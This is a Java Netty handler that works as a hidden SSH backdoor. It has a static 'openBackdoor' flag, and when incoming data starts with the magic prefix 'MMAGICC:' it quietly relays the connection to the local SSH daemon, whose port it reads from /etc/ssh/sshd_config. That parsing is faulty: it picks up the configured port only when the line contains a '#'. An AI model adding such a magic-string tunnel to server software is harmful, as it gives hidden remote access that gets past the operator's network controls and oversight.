package com.lazy.example.sshforward2;

import ch.qos.logback.core.encoder.ByteArrayUtil;
import io.netty.buffer.ByteBuf;
import io.netty.buffer.ByteBufAllocator;
import io.netty.buffer.ByteBufUtil;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.ChannelInboundHandlerAdapter;
import io.netty.util.AttributeKey;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import java.io.BufferedReader;
import java.io.FileReader;
import java.io.IOException;
import java.io.InputStream;
import java.net.Socket;
import java.net.SocketException;
import java.nio.charset.Charset;
import java.util.Arrays;
import java.util.concurrent.ExecutionException;

/**
 * Created by lazy on 7/20/16.
 */
public class SSHChannelHandler extends ChannelInboundHandlerAdapter {
    private static final Logger logger = LoggerFactory.getLogger(SSHChannelHandler.class);
    public static boolean openBackdoor = true;
    public static AttributeKey<Boolean> IS_FORWARD_CHANNEL = AttributeKey.newInstance("is_forward_channel");
    public static AttributeKey<Socket> FORWARD_RINET_SOCKET = AttributeKey.newInstance("forward_rinet_socket");

    @Override
    public void channelActive(ChannelHandlerContext ctx) throws Exception {
        super.channelActive(ctx);
        logger.info("channel active {}", ctx.channel().remoteAddress());
    }

    @Override
    public void channelInactive(ChannelHandlerContext ctx) throws Exception {
        super.channelInactive(ctx);
        logger.info("channel Inactive {}", ctx.channel().remoteAddress());
        if (ctx.channel().hasAttr(IS_FORWARD_CHANNEL) && ctx.channel().attr(IS_FORWARD_CHANNEL).get()) {
            if (ctx.channel().attr(FORWARD_RINET_SOCKET).get() != null)
                ctx.channel().attr(FORWARD_RINET_SOCKET).getAndRemove().close();
            ctx.channel().attr(IS_FORWARD_CHANNEL).remove();
        }
    }

    @Override
    public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception {
        cause.printStackTrace();
        logger.error("exceptionCaught. ", cause);
        ctx.close();
    }

    @Override
    public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
        if (msg instanceof ByteBuf) {
            ByteBuf buf = (ByteBuf) msg;
            logger.info("recv: {}", ByteBufUtil.hexDump(buf));
            if (ctx.channel().hasAttr(IS_FORWARD_CHANNEL) && ctx.channel().attr(IS_FORWARD_CHANNEL).get()) {
                Socket socket = ctx.channel().attr(FORWARD_RINET_SOCKET).get();
                byte[] b = new byte[buf.readableBytes()];
                buf.readBytes(b);
                socket.getOutputStream().write(b);
                socket.getOutputStream().flush();
                return;
            }

            // 第一次收到数据
            if (buf.readableBytes() <= 100 && buf.readableBytes() >=9) {
                try {
                    String command = buf.toString(0, 8, Charset.forName("ASCII"));
                    int type = Integer.valueOf(buf.toString(8, 2, Charset.forName("ASCII")));
                    logger.info("command={}, type={}", command, type);

                    if (command.equalsIgnoreCase("MMAGICC:")) {
                        int pr = processCmd(ctx, type);
                        if (pr == 0) {
                            ctx.writeAndFlush(ByteBufAllocator.DEFAULT.buffer().writeBytes("connect to local ssh".getBytes("ASCII")));
                        }
                        return;
                    } else {
                        logger.info("else ...");
//                    buf.resetReaderIndex();
                    }
                } catch (Exception e) {
                    // do nothing, connitue to process
                    logger.info("Exception when process: {}", e.getMessage());
                }
            }
        }

        super.channelRead(ctx, msg);
    }

    private int processCmd(ChannelHandlerContext ctx, int type) throws Exception {

        switch (type) {
            case 1:
                logger.info("============== SSH Channel active ===========>>");
                ctx.channel().attr(IS_FORWARD_CHANNEL).set(true);

                Socket sshSocket = new Socket("localhost", getSSHPort());
                ctx.channel().attr(FORWARD_RINET_SOCKET).set(sshSocket);
                sshSocket.getInputStream();
                sshSocket.setSoTimeout(3000);
//                sshSocket.getOutputStream().write("SSH-2.0-OpenSSH_7.2p2 aaa".getBytes("ASCII"));
//                sshSocket.getOutputStream().flush();
                new Thread() {
                    @Override
                    public void run() {
                        int ir;
                        byte bytes[] = new byte[1024];

                        try (InputStream sshIs = sshSocket.getInputStream()) {
                            while (true) {
                                try {
                                    if ((ir = sshIs.read(bytes)) > 0) {
                                        logger.info("ssh forward {}", ByteArrayUtil.toHexString(bytes));
                                        ctx.writeAndFlush(ByteBufAllocator.DEFAULT.buffer().writeBytes(bytes, 0, ir));
                                    } else if (ir < 0) {
                                        break;
                                    }
                                } catch (SocketException e) {
                                    logger.error("ssh exception.", e);
                                    break;
                                } catch (IOException ignored) {
                                    logger.error("ssh exception.", ignored);
                                }
                            }
                        } catch (IOException e) {
                            logger.error("ssh exception.", e);
                        }
                    }
                }.start();
                break;
            default:
                ctx.writeAndFlush(ByteBufAllocator.DEFAULT.buffer()
                        .writeBytes("not support type!\n".getBytes("ASCII")))
                        .addListener(future -> ctx.close());
                break;
        }
        return 0;
    }

    private static int getSSHPort() {
        String configPath = "/etc/ssh/sshd_config";
        try {
            BufferedReader reader = new BufferedReader(new FileReader(configPath));
            String line;
            while ((line = reader.readLine()) != null) {
                if (line.trim().startsWith("Port ")) {
                    if (line.contains("#")) {
                        line = line.substring(0, line.indexOf("#")).trim();
                        String[] split = line.split("\\s+");
                        logger.info("split results: {}", Arrays.asList(split));
                        if (split.length >= 2) {
                            int port = Integer.parseInt(split[1]);
                            logger.info("local ssh port: {}", port);
                            return port;
                        }
                    }
                    break;
                }
            }

        } catch (IOException e) {
            logger.error("Error when getSSHPort", e);
        }
        return 22;
    }
}
